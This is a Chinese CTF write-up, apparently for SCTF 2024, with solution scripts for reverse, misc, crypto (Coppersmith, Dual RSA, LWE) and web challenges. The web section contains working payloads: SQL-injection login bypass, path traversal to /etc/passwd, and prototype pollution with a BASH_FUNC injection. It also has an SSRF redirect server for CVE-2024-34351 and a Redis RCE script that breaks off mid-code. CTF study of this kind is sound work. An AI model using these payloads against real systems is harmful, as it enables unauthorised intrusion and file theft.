多处按 D 键标记为指令,让 Ghidra 反编译出大部分代码,粗略浏览。在 0x80000690 处的函数有依次处理 32 个字节的逻辑,比较可疑。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
undefined4 FUN_80000690(void)

{
byte bVar1;
undefined uVar2;
int iVar3;
undefined4 uVar4;

iVar3 = FUN_8001125a(0x6000009c,0x60000004,0x60000000,_DAT_80003990);
if (iVar3 == 0) {
uVar4 = 0xffffffff;
}
else {
FUN_800001f2(0x60000004,0x800039a3,&DAT_6000007c,0x20);
for (iVar3 = 0; iVar3 < 0x20; iVar3 = iVar3 + 1) {
uVar2 = FUN_80000790(CONCAT44(3,(uint)(byte)(&DAT_6000007c)[iVar3]));
(&DAT_6000007c)[iVar3] = uVar2;
bVar1 = DAT_6000007c;
if (iVar3 < 0x1f) {
bVar1 = *(byte *)(iVar3 + 0x6000007d);
}
(&DAT_6000007c)[iVar3] = bVar1 ^ (&DAT_6000007c)[iVar3];
(&DAT_6000007c)[iVar3] = (&DAT_6000007c)[iVar3] ^ 0xff;
}
FUN_80001278(0x6000009c,&DAT_6000007c,0x60000000,_DAT_80003990);
uVar4 = 0;
}
return uVar4;
}

其中深入看 FUN_800001f2 发现是 AES,四个参数分别是

  • 0x60000004 是输入的 flag

  • 0x800039a3 是 16 字节的 key

    • 从 s19 文件中找这个地址得到 2E 35 7D 6A ED 44 F3 4D AD B9 11 34 13 EA 32 4E
  • 0x6000007c 存放输出值

  • 0x20 是 flag 长度

在 AES 加密前没有对 32 字节的 flag 后面再补齐 16 字节。

之后对 AES 密文又进行了循环左移 3、前一个异或后一个、异或 0xFF。

解密:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
def encrypt(in_flag):
flag = list(in_flag)
for i in range(32):
flag[i] = ((flag[i] << 3) | (flag[i] >> 5)) & 0xff
flag[i] ^= flag[(i + 1) & 0x1f]
flag[i] ^= 0xff
return bytes(flag)

def decrypt(in_flag):
flag = list(in_flag)
for i in range(31, -1, -1):
flag[i] ^= 0xff
flag[i] ^= flag[(i + 1) & 0x1f]
flag[i] = ((flag[i] << 5) | (flag[i] >> 3)) & 0xff
return bytes(flag)

c = bytes.fromhex('63 D4 DD 72 B0 8C AE 31 8C 33 03 22 03 1C E4 D3 C3 E3 54 B2 1D EB EB 9D 45 B1 BE 86 CD E9 93 D8')
print(decrypt(c).hex())

# 9018eb7d667c90d560704f86e9b37ee86b672792d92c75bf9f467ca26c519c88


速来探索 SCTF 星球隐藏的秘密!

尝试到不是 Ready 的情况,获得前半段

Ans: HAHAHAy04


TerraWorld

解出 6 个压缩包,解出 zenith!但是没什么用

1
2
3
4
5
6
7
with open('2024SCTF.wld', 'rb') as f:
data = f.read()
data = data.split(b'================================================')
with open('2024SCTF_01.wld', 'wb') as f1:
f1.write(data[0])
with open('2024SCTF_02.wld', 'wb') as f2:
f2.write(data[1])

然后随便试一下?(出题人忘记改 Hex 成 UTF8 了)


musicMaster

MKV 封装文件,有两个图像流,两个音频流

MKV 的各流是交错存储的,所以不能直接按一般二进制文件分离,可以使用 MKVToolNix 中的 mkvextract

1
.\mkvextract.exe tracks --raw daytime_final.mkv 0:v0.raw 1:a1.ogg 2:v2.gif 3:a3.ogg

两个图像流分别是 默认播放的视频 和 GIF 五彩斑斓的黑

两个音频流分别是 默认播放的音乐 和 SSTV

SSTV 音频又分左右声道,分别传输一张图像:

异或一下(再取反)得到:

Aztec 解码得 d6f3a8568d5f9c03915494e6b584e216

GIF 共有 15 帧

识图一下知道是 cimbar https://github.com/sz3/libcimbar

15 帧一并丢进去,解码出需要密码的 7z 文件

解压密码是上面 SSTV 的结果,得到名为 daytime 的 182KB 的文件

1
2
$ file ./daytime
./daytime: 6-channel Fasttracker module sound data Title: "Day time"

用 Fasttracker II 打开,发现元数据 table64 和 Hexrotor,两列十六进制数据

14340d1411272d141a03112e12353d190c07151f0d053d0c0c170d

340c3639291b23251f1317251f131301241d163033173435350d1305231f104040

注意到十六进制数据都在 0 - 64 之间,且最后有两个 0x40

猜测代表 Base64 字母表的下标

1
2
3
4
5
6
7
8
9
10
import base64

data = bytes.fromhex('14340d1411272d141a03112e12353d190c07151f0d053d0c0c170d340c3639291b23251f1317251f131301241d163033173435350d1305231f104040')
alphabet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='
b64_code = ''.join(alphabet[b] for b in data)

print(b64_code)
# U0NURntUaDRuS19ZMHVfNF9MMXN0M25pbjlfTXlfTTBkdWwzX011NTFjfQ==
print(base64.b64decode(b64_code).decode())
# SCTF{Th4nK_Y0u_4_L1st3nin9_My_M0dul3_Mu51c}

(还挺好听的)


Crypto

Signin

二元 copper 即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
from Crypto.Util.number import *
from sympy import nextprime
import itertools

def flatter(M):
# compile https://github.com/keeganryan/flatter and put it in $PATH
# if flatter is not available we can just return M.LLL() instead
from subprocess import check_output
from re import findall
z = "[[" + "]\n[".join(" ".join(map(str, row)) for row in M) + "]]"
ret = check_output(["flatter"], input=z.encode())
return matrix(M.nrows(), M.ncols(), map(int, findall(b"-?\\d+", ret)))



import itertools
from sage.rings.polynomial.multi_polynomial_sequence import PolynomialSequence

# COPY from common.systems_solvers
# TODO: error handling when solution doesn't exist
def solve_system_with_resultants(H, vs):
if len(vs) == 1:
for h in (h for h in H if h != 0):
roots = h.univariate_polynomial().roots()
if roots and roots[0][0] != 0:
return { h.variable(): roots[0][0] }
else:
v = min(vs, key=lambda v: sum(h.degree(v) for h in H))
H_ = [H[i].resultant(H[i+1], v) for i in range(len(vs) - 1)]
vs.remove(v)
roots = solve_system_with_resultants(H_, vs)
H_ = [h.subs(roots) for h in H]
roots |= solve_system_with_resultants(H_, [None])
return roots


def solve_system_with_gb(H, vs):
H_ = PolynomialSequence([], H[0].parent().change_ring(QQ))
for h in H:
H_.append(h)
I = H_.ideal()
if I.dimension() == -1:
H_.pop()
elif I.dimension() == 0:
roots = []
for root in I.variety(ring=ZZ):
root = tuple(H[0].parent().base_ring()(root[var]) for var in vs)
roots.append(root)
return roots

def small_roots(f, bounds, m=1, d=None, algorithm='groebner', lattice_reduction=None, verbose=False):
r"""
Returns the 'small' roots of the polynomial ``f`` where ``bounds`` specifies the
roots' upper bounds. The algorithm implemented is Coppersmith's algorithm, using the
strategy for shift polynomials as described in [1]. The code is heavily inspired
by [2].

Note that in some cases this algorithm may be used to find small roots of
polynomials over the integers by choosing ``f`` to be an element of a polynomial ring
whose base ring has characteristic much larger than ``f(*bounds)``. This algorithm
may also be able to find small roots modulo a divisor of the polynomial's base ring
characteristic.

INPUT:

- ``f`` -- A (multivariate) polynomial whose base ring is the integers modulo some ``N``.

- ``bounds`` -- A tuple specifying the bounds on each small root of ``f``.

- ``m`` -- The highest power of ``N`` to be used in the shift polynomials. (Default: 1)

- ``d`` -- The number of variables to use for extra shifts. If ``None``, the degree of
``f`` is used. (Default: ``None``)

- ``algorithm`` -- The technique used to solve the system of equations after the
lattice reduction step. Must be one of 'groebner' or 'resultants' or else a ``ValueError``
exception is raised.

OUTPUT:

A list of tuples containing all roots that were found. If no roots were found, the
empty list is returned.

REFERENCES:

[1] Ellen Jochemsz and Alexander May. *A Strategy for Finding Roots of Multivariate Polynomials with New Applications in Attacking RSA Variants.*
In Advances in Cryptology - ASIACRYPT 2006, p. 267--282. Springer, 2006.
https://link.springer.com/chapter/10.1007/11935230_18

[2] William Wang. *Coppersmith implementation.*
https://github.com/defund/coppersmith
"""

verbose = (lambda *a: print('[small_roots]', *a)) if verbose else lambda *_: None

if algorithm not in ['groebner', 'resultants']:
raise ValueError(f'"{algorithm}" is not a valid algorithm. Specify one of "groebner" or "resultants".')

if d is None:
d = f.degree()

R = f.base_ring()
N = R.cardinality()
# N = e
f_ = (f // f.lc()).change_ring(ZZ)
f = f.change_ring(ZZ)
l = f.lm()

M = []
for k in range(m+1):
M_k = set()
T = set((f^(m-k)).monomials())
for mon in (f^m).monomials():
if mon//l^k in T:
for extra in itertools.product(range(d), repeat=f.nvariables()):
g = mon * prod(map(power, f.variables(), extra))
M_k.add(g)
M.append(M_k)
M.append(set())

shifts = PolynomialSequence([], f.parent())
for k in range(m+1):
for mon in M[k] - M[k+1]:
g = mon//l^k * f_^k * N^(m-k)
shifts.append(g)

B, monomials = shifts.coefficient_matrix()
monomials = vector(monomials)

factors = [monomial(*bounds) for monomial in monomials]
for i, factor in enumerate(factors):
B.rescale_col(i, factor)

verbose('Lattice dimensions:', B.dimensions())
lattice_reduction_timer = cputime()
if lattice_reduction:
B = lattice_reduction(B.dense_matrix())
else:
B = B.dense_matrix().LLL()
verbose(f'Lattice reduction took {cputime(lattice_reduction_timer):.3f}s')

B = B.change_ring(QQ)
for i, factor in enumerate(factors):
B.rescale_col(i, 1/factor)
B = B.change_ring(ZZ)

H = PolynomialSequence([h for h in B*monomials if not h.is_zero()])

if algorithm == 'groebner':
groebner_timer = cputime()
roots = solve_system_with_gb(H, list(f.variables()))
verbose(f'Solving system with Groebner bases took {cputime(groebner_timer):.3f}s')
return roots

elif algorithm == 'resultants':
resultants_timer = cputime()
roots = solve_system_with_resultants(H, list(f.variables()))
verbose(f'Solving system with resultants took {cputime(resultants_timer):.3f}s')
if not roots:
return []

return [tuple(map(R, map(roots.__getitem__, f.variables())))]


nbit = 512

n = 32261421478213846055712670966502489204755328170115455046538351164751104619671102517649635534043658087736634695616391757439732095084483689790126957681118278054587893972547230081514687941476504846573346232349396528794022902849402462140720882761797608629678538971832857107919821058604542569600500431547986211951
e = 334450817132213889699916301332076676907807495738301743367532551341259554597455532787632746522806063413194057583998858669641413549469205803510032623432057274574904024415310727712701532706683404590321555542304471243731711502894688623443411522742837178384157350652336133957839779184278283984964616921311020965540513988059163842300284809747927188585982778365798558959611785248767075169464495691092816641600277394649073668575637386621433598176627864284154484501969887686377152288296838258930293614942020655916701799531971307171423974651394156780269830631029915305188230547099840604668445612429756706738202411074392821840

alpha = ZZ(e).nbits() / ZZ(n).nbits()
beta = 0.44
nbits = 512
delta = 0.5
# gamma = alpha + 1/3 -2/3*(3*alpha+1)**0.5
gamma = 0.5

X = 2^(nbits//2)
Y = 2 ** (nbits+1)

PR.< x, y > = PolynomialRing(Zmod(e))
a = n+1
b = n^2-n+1
F = x * (y^2 + a*y + b) + 1
bounds = (X, Y)
res = small_roots(F, bounds, m=2, d=3)


p_q = res[0][1]
p = (p_q+isqrt(p_q**2-4*n))//2
q = n // p

from Crypto.Util.number import *
from hashlib import md5
bp = long_to_bytes(int(p))
FLAG = 'SCTF{'+md5(bp).hexdigest()+'}'
print(FLAG)
bp = long_to_bytes(int(q))
FLAG = 'SCTF{'+md5(bp).hexdigest()+'}'
print(FLAG)

# SCTF{12899cda850fc484de8bce978839620d}

不完全阻塞干扰

现根据给出的 pem 密钥进行还原,得到泄露的 p、q 高位,然后拿去打二元 copper

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
from Crypto.Util.number import *
from sage.all import *
import itertools
from hashlib import *
def small_roots(f, bounds, m=1, d=None):
if not d:
d = f.degree()

if isinstance(f, Polynomial):
x, = polygens(f.base_ring(), f.variable_name(), 1)
f = f(x)

R = f.base_ring()
N = R.cardinality()

f /= f.coefficients().pop(0)
f = f.change_ring(ZZ)

G = Sequence([], f.parent())
for i in range(m+1):
base = N**(m-i) * f**i
for shifts in itertools.product(range(d), repeat=f.nvariables()):
g = base * prod(map(power, f.variables(), shifts))
G.append(g)

B, monomials = G.coefficient_matrix()
monomials = vector(monomials)

factors = [monomial(*bounds) for monomial in monomials]
for i, factor in enumerate(factors):
B.rescale_col(i, factor)

B = B.dense_matrix().LLL()

B = B.change_ring(QQ)
for i, factor in enumerate(factors):
B.rescale_col(i, 1/factor)

H = Sequence([], f.parent().change_ring(QQ))
for h in filter(None, B*monomials):
H.append(h)
I = H.ideal()
if I.dimension() == -1:
H.pop()
elif I.dimension() == 0:
roots = []
for root in I.variety(ring=ZZ):
root = tuple(R(root[var]) for var in f.variables())
roots.append(root)
return roots

return []

N = 153968577094662545241852323092734689280484517914506039745695611050191415903005114886823916187859463255349142280389389578330571549172274150265624344357037827433290647204777149304678930359439985495154740508659879219697730587007589025951287322370021519348847097788275728347176995072548836277991739490613916057026840879840227313877045626084814352594621262884926692328705989197713798533010689906953892026354565183465358196711098897088706419598331252952703256913107090004492356212325620591006942756839593354993714612176331392556393200532981412460289515631950712290003144754520098744591529403571136924128108194945910727560030394455068060638853660363709958676601397258554860723705648748471206504542728560774607590556345426627134283033493513673260854873967896897712638705700234873655485652723320971709413379872657040563543548089742859092099079247412041413455928446842411460446265414016475108986425508140118678938452215886113545638900939312810267097372049800520185298814274149151390070915773549417583646395933102277372086029675494031034878665341857097320620917322127770496406277621586687481138540738461056911088684964802213935305329028631587976820726304192867954484775543660354448593971302295220207241266935105323532932682229682244751895068360320863165456383069313875651779744672909066864303506533972446518273907007643074124154966602251901310881274085553079972179486033167072641669907795026897822378713351740217838257040598103200813976199405234711979119390242045264560353591708678758310084402152431694954419730747643191924180691825821343890151929368549705164639543225369024111795484623481489831795435793782815833173330932615322728559639641122754075012088943338403093108126873592342965617593602015061048953009371463817702694093110073571273518194286954846204085383164887791904680125848787278758461515300507047980382429388279922378582729945796370735701075704312280615190002548992982000752832974124941529539556897475337857464636211786606742425256767481492962145901569979269129264698294745392608729811684046037723716142864552771471511954991437311122446122106266441225699554489313594288021347283743721288003957326108212035334238387238416582426395999015356523893954851878117
e = 65537
c = 145554802564989933772666853449758467748433820771006616874558211691441588216921262672588167631397770260815821197485462873358280668164496459053150659240485200305314288108259163251006446515109018138298662011636423264380170119025895000021651886702521266669653335874489612060473962259596489445807308673497717101487224092493721535129391781431853820808463529747944795809850314965769365750993208968116864575686200409653590102945619744853690854644813177444995458528447525184291487005845375945194236352007426925987404637468097524735905540030962884807790630389799495153548300450435815577962308635103143187386444035094151992129110267595908492217520416633466787688326809639286703608138336958958449724993250735997663382433125872982238289419769011271925043792124263306262445811864346081207309546599603914842331643196984128658943528999381048833301951569809038023921101787071345517702911344900151843968213911899353962451480195808768038035044446206153179737023140055693141790385662942050774439391111437140968754546526191031278186881116757268998843581015398070043778631790328583529667194481319953424389090869226474999123124532354330671462280959215310810005231660418399403337476289138527331553267291013945347058144254374287422377547369897793812634181778309679601143245890494670013019155942690562552431527149178906855998534415120428884098317318129659099377634006938812654262148522236268027388683027513663867042278407716812565374141362015467076472409873946275500942547114202939578755575249750674734066843408758067001891408572444119999801055605577737379889503505649865554353749621313679734666376467890526136184241450593948838055612677564667946098308716892133196862716086041690426537245252116765796203427832657608512488619438752378624483485364908432609100523022628791451171084583484294929190998796485805496852608557456380717623462846198636093701726099310737244471075079541022111303662778829695340275795782631315412134758717966727565043332335558077486037869874106819581519353856396937832498623662166446395755447101393825864584024239951058366713573567250863658531585064635727070458886746791722270803893438211751165831616861912569513431821959562450032831904268205845224077709362068478
ph = 90158455407064353226740172256637847571736267390156796413259819366666851822735984542845914678308585714535762114331991779976105574125437982741541925319918477636143678641546599089714406624409843298317914314816599264063917986520568605177443804303021648854288120514274897272067538843849432439960315905537690566656
qh = 160768104440088758988421559810768885911433160163193402622730450816808392172895659063575746366083446372417854889980230420947971096850705154791900360522054814531043887814111485892864370190160918447413632513080596824216306793112296432804947486216776581245045551513782702174800702939979474110068430603619154264064
PR=PolynomialRing(Zmod(N),'x,y')
x,y=PR.gens()
f=(ph+x)**5*(qh+y)**2
#roots=small_roots(f,[2**(500),2**(404)],m=3,d=4)
#print(roots)
pl=6708022338172260347899030626323676022100749598842650911015897443511894444627151436951734224984454180375617062494685670914830207366629067809127120853621
ql=27120250680531856264005422077507994977725575176295502437617058870679375973489771046508673680604944356225907266192711870527
p=ph+pl
q=qh+ql
phi=p**4*(p-1)*q*(q-1)
d=inverse(e,phi)
print(long_to_bytes(pow(c,d,N)))

Whisper

根据 pem 文件得到下面参数

1
2
3
4
n1=0x1B5D4FE0AA6782E275D4CE12A6D57562EFBBE7DB6F5277255B891729BFA2A18D3EDB49843D7989A37B9516BE2DF8CA939058E65F64B5FB2071BEA4F5F8D1392895B32BF0377D99F4F79979125E5DB01CDB5080A1C2D665C9AC31B5823025499C9513277BAE5E7A846CD271C4396E2BA219020E58A9055CB18A28D36A00BF717B
e=0x079F5CCC665767B4A257E5C1FF56E9803DF2E5650302DAAD420105FE672447743BD3F0BEA1C46A4987932E9A886CA87A7AFD7796ABF1E5629C4986FE4F22E89CDCE7ABB06624465146A2E2B6CA9AB3196CEAB7467974C1DC45608A200411B291FDAF99F7D80DCE4DB3566F4A9E2E574C6224CD07D80638D28F7820BCF4B49143
n2=0x071C324E8769493187C15F72D5CC695729B48488EE3FBD01DB00D5C478F08C7CF32093BA61745051D3E9D169523AA91438181F47679AFF5EDD22950F74A1EB1443320AAA5D97F5C1E81B5EF9A3E69BA669ABC4C6C4B405F5088A603A74F9BCEF88823B4523574114C810600838728196F8E5E0D4AEEEEAB79DD8683A72F3C017
e1=0x079F5CCC665767B4A257E5C1FF56E9803DF2E5650302DAAD420105FE672447743BD3F0BEA1C46A4987932E9A886CA87A7AFD7796ABF1E5629C4986FE4F22E89CDCE7ABB06624465146A2E2B6CA9AB3196CEAB7467974C1DC45608A200411B291FDAF99F7D80DCE4DB3566F4A9E2E574C6224CD07D80638D28F7820BCF4B49143

Dual rsa,e 是相同的,好像卡界了

可能有点用:https://elliptic-shiho.github.io/ctf-writeups/#!ctf/2017/0CTF%20Finals/cr1000-AuthenticationSecrecy/README.md

真的就是这么简单,把上面的代码改成 python3 的然后直接就能把 d 跑出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
from sage.all import *
import math
import itertools

def flatter(M):
# compile https://github.com/keeganryan/flatter and put it in $PATH
# if flatter is not available we can just return M.LLL() instead
from subprocess import check_output
from re import findall
z = "[[" + "]\n[".join(" ".join(map(str, row)) for row in M) + "]]"
ret = check_output(["flatter"], input=z.encode())
return matrix(M.nrows(), M.ncols(), map(int, findall(b"-?\\d+", ret)))

# display matrix picture with 0 and X
# references: https://github.com/mimoo/RSA-and-LLL-attacks/blob/master/boneh_durfee.sage
def matrix_overview(BB):
for ii in range(BB.dimensions()[0]):
a = ('%02d ' % ii)
for jj in range(BB.dimensions()[1]):
a += ' ' if BB[ii,jj] == 0 else 'X'
if BB.dimensions()[0] < 60:
a += ' '
print(a)


def dual_rsa_liqiang_et_al(e, n1, n2, delta, mm, tt):
'''
Attack to Dual RSA: Liqiang et al.'s attack implementation

References:
[1] Liqiang Peng, Lei Hu, Yao Lu, Jun Xu and Zhangjie Huang. 2016. "Cryptanalysis of Dual RSA"
'''
N = (n1+n2)/2
A = ZZ(floor(N^0.5))

_XX = ZZ(floor(N^delta))
_YY = ZZ(floor(N^0.5))
_ZZ = ZZ(floor(N^(delta - 1./4)))
_UU = _XX * _YY + 1

# Find a "good" basis satisfying d = a1 * l'11 + a2 * l'21
M = Matrix(ZZ, [[A, e], [0, n1]])
B = M.LLL()
l11, l12 = B[0]
l21, l22 = B[1]
l_11 = ZZ(l11 / A)
l_21 = ZZ(l21 / A)

modulo = e * l_21
F = Zmod(modulo)

PR = PolynomialRing(F, 'u, x, y, z')
u, x, y, z = PR.gens()

PK = PolynomialRing(ZZ, 'uk, xk, yk, zk')
uk, xk, yk, zk = PK.gens()

# For transform xy to u-1 (unravelled linearlization)
PQ = PK.quo(xk*yk+1-uk)

f = PK(x*(n2 + y) - e*l_11*z + 1)

fbar = PQ(f).lift()

# Polynomial construction
gijk = {}
for k in range(0, mm + 1):
for i in range(0, mm-k + 1):
for j in range(0, mm-k-i + 1):
gijk[i, j, k] = PQ(xk^i * zk^j * PK(fbar) ^ k * modulo^(mm-k)).lift()

hjkl = {}
for j in range(1, tt + 1):
for k in range(floor(mm / tt) * j, mm + 1):
for l in range(0, k + 1):
hjkl[j, k, l] = PQ(yk^j * zk^(k-l) * PK(fbar) ^ l * modulo^(mm-l)).lift()

monomials = []
for k in gijk.keys():
monomials += gijk[k].monomials()
for k in hjkl.keys():
monomials += hjkl[k].monomials()

monomials = sorted(set(monomials))[::-1]
assert len(monomials) == len(gijk) + len(hjkl) # square matrix?
dim = len(monomials)

# Create lattice from polynmial g_{ijk} and h_{jkl}
M = Matrix(ZZ, dim)
row = 0
for k in gijk.keys():
for i, monomial in enumerate(monomials):
M[row, i] = gijk[k].monomial_coefficient(monomial) * monomial.subs(uk=_UU, xk=_XX, yk=_YY, zk=_ZZ)
row += 1
for k in hjkl.keys():
for i, monomial in enumerate(monomials):
M[row, i] = hjkl[k].monomial_coefficient(monomial) * monomial.subs(uk=_UU, xk=_XX, yk=_YY, zk=_ZZ)
row += 1

matrix_overview(M)
print('=' * 128)

# LLL
# B = M.LLL()
B = flatter(M)

matrix_overview(B)

# Construct polynomials from reduced lattices
H = [(i, 0) for i in range(dim)]
H = dict(H)
for j in range(dim):
for i in range(dim):
H[i] += PK((monomials[j] * B[i, j]) / monomials[j].subs(uk=_UU, xk=_XX, yk=_YY, zk=_ZZ))
# H = H.values()

PQ = PolynomialRing(QQ, 'uq, xq, yq, zq')
uq, xq, yq, zq = PQ.gens()

# Inversion of unravelled linearlization
for i in range(dim):
H[i] = PQ(H[i].subs(uk=xk*yk+1))

# Calculate Groebner basis for solve system of equations
'''
Actually, These polynomials selection (H[1:20]) is heuristic selection.
Because they are "short" vectors. We need a short vector less than
Howgrave-Graham bound. So we trying test parameter(at [1]) and decided it.
'''
# I = Ideal(*H[1:20])
I = Ideal(list(H.values())[1:20])
g = I.groebner_basis('giac')[::-1]
# mon = map(lambda t: t.monomials(), g)
mon = [t.monomials() for t in g]

PX = PolynomialRing(ZZ, 'xs')
xs = PX.gen()

x_pol = y_pol = z_pol = None

for i in range(len(g)):
if mon[i] == [xq, 1]:
print(g[i] / g[i].lc())
x_pol = g[i] / g[i].lc()
elif mon[i] == [yq, 1]:
print(g[i] / g[i].lc())
y_pol = g[i] / g[i].lc()
elif mon[i] == [zq, 1]:
print(g[i] / g[i].lc())
z_pol = g[i] / g[i].lc()

if x_pol is None or y_pol is None or z_pol is None:
print('[-] Failed: we cannot get a solution...')
return

x0 = x_pol.subs(xq=xs).roots()[0][0]
y0 = y_pol.subs(yq=xs).roots()[0][0]
z0 = z_pol.subs(zq=xs).roots()[0][0]

# solution check
assert f(x0*y0+1, x0, y0, z0) % modulo == 0

a0 = z0
a1 = (x0 * (n2 + y0) + 1 - e*l_11*z0) / (e*l_21)

d = a0 * l_11 + a1 * l_21
return d


delta = 0.337
mm = 4
tt = 2

n1 = 19216005446310864558409934096148904703198882317083224129431545386380435777354723744624028053518278514595663319253560114239018542660582960464010994454707936550902872627309424890333127288994449006783158078916602020794628546065674981593736606481809198149080696037584037699638293870122512237711498004090515845499
n2 = 4992911943798277344804876549224813326447469267517432903838084455752417287982320183584988170455130118418117937196562948710115292838538880218156469801938645463822391931977946975012481667095710882823897026534267366981015926659114785262116088548568215969555191689632109516970297562458267207338397574333407150103
e = 5352708372343813403035593638037107517373724079700735571091908193413083617555211472255125798199165859811237950085789893649651552088125747433480591652396404710788778815075048587264350078253899425987466937040099316084273123603046629945048298154353920118466252136326911019666012632927688983695457057246503276867

d1 = dual_rsa_liqiang_et_al(e, n1, n2, delta, mm, tt)
print('[+] d for alice = %d' % d1)

c = 15215414324218119514166856548319827087347975479953435757551380183481824597666586239577164581282639891207362199
632694698810120856780147289618566227285967212830337320315326701453355443595245474646348352728630245065334265985318
506260363891869088324717641979951184093710784542525865784982264295576662469010725462
d = 40938683537002969349994490030778320037535387924227183600857028517800996704376695290532584573854353589803
from Crypto.Util.number import *
long_to_bytes(power_mod(c, d, n1))


# b'SCTF{Ju5t_3njoy_th3_Du4l_4nd_Copper5m1th_m3thod_w1th_Ur_0wn_1mplem3nt4t10n}'

LinearARTS

用已知条件求出 A 然后打 lwe 即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
AD=PM.solve_left(AA)
A=D.solve_left(AD)
m = 325
n = 25
q = 65537
A_values = A[:m,:n]
b_values = b[:m]
A = matrix(ZZ, m + n, m)
for i in range(m):
A[i, i] = q
for x in range(m):
for y in range(n):
A[m + y, x] = A_values[x][y]
lattice = IntegerLattice(A, lll_reduce=True)
print("LLL done")
gram = lattice.reduced_basis.gram_schmidt()[0]
target = vector(ZZ, b_values)
res = Babai_closest_vector(lattice.reduced_basis, gram, target)
print("Closest Vector: {}".format(res))

R = IntegerModRing(q)
M = Matrix(R, A_values)
ingredients = M.solve_right(res)

print("Ingredients: {}".format(ingredients))


from Crypto.Util.number import *
t=(58903, 2963, 39256, 25173, 62086, 5284, 45419, 10132, 50811, 41636, 42833, 8227, 63647, 10096, 28276, 29628, 54509, 9776, 44228, 39961, 48996, 60060, 43678, 34392, 21307)
print(len(t))
sum=0
q = 65537
sum=0
for i in range(len(t)):
sum+=t[i]*(q**(i))
print(long_to_bytes(sum))

Web

SycServer2.0

Sql 注入,万能密码登录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5
import base64
import requests
import sys
import json

public_key = """-----BEGIN PUBLIC KEY-----\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC5nJzSXtjxAB2tuz5WD9B//vLQ\nTfCUTc+AOwpNdBsOyoRcupuBmh8XSVnm5R4EXWS6crL5K3LZe5vO5YvmisqAq2IC\nXmWF4LwUIUfk4/2cQLNl+A0czlskBZvjQczOKXB+yvP4xMDXuc1hIujnqFlwOpGe\nI+Atul1rSE0APhHoPwIDAQAB\n-----END PUBLIC KEY-----"""
proxy = {
"http":"127.0.0.1:8080",
}
header = {
'Content-Type': 'application/json'
}
def rsa_encrypt(content, pub_key):
rsa_key = RSA.import_key(pub_key)
cipher = PKCS1_v1_5.new(rsa_key)

encrypted_content = cipher.encrypt(content.encode())
encrypted_content = base64.b64encode(encrypted_content)

return encrypted_content

password = """"or"="a'='a"""
encrypted_password = rsa_encrypt(password, public_key)
url = "http://1.95.84.173:34063"

payload = {
"username": "admin",
"password": encrypted_password.decode()
}
data = json.dumps(payload)
r = requests.post(url+"/login",data=data,proxies=proxy, headers=header)
print(password.strip())
print(r.text)

/ExP0rtApi?v=static&f=..././..././..././..././..././..././..././etc/passwd 双写读文件

原型链污染 + 环境变量劫持

1
2
3
4
5
6
7
8
9
10
{
"user":"__proto__",
"date":"2",
"reportmessage":{
"shell":"/bin/bash",
"env":{
"BASH_FUNC_whoami%%":"() { /readflag;}"
}
}
}


ezRender

file open 后没有 close ulimit 理论上 2048 次次会触发 too many files

time 可以爆破

异常会跳过,只剩下 time

无回显 SSTI 直接 fenjing 改造打内存马


ezjump

https://nvd.nist.gov/vuln/detail/CVE-2024-34351

改 Host Origin 即可

类似的题目

https://siunam321.github.io/ctf/UIUCTF-2024/Web/Log-Action/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!/usr/bin/env python3
from flask import Flask, request, Response, redirect

app = Flask(__name__)

@app.route('/play')
def exploit():
# CORS preflight check
if request.method == 'HEAD':
response = Response()
response.headers['Content-Type'] = 'text/x-component'
return response
# after CORS preflight check
elif request.method == 'GET':
ssrfUrl = 'http://172.11.0.3:5000/'
return redirect(ssrfUrl)

if __name__ == '__main__':
app.run(port=9999, host='0.0.0.0', debug=True)

Redis 5 可以主从复制 RCE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#!/usr/bin/env python3
from flask import Flask, request, Response, redirect

import urllib.parse

app = Flask(__name__)

@app.route('/play')
def exploit():
# CORS preflight check
if request.method == 'HEAD':
response = Response()
response.headers['Content-Type'] = 'text/x-component'
return response
# after CORS preflight check
elif request.method == 'GET':
padding = "\r\n"
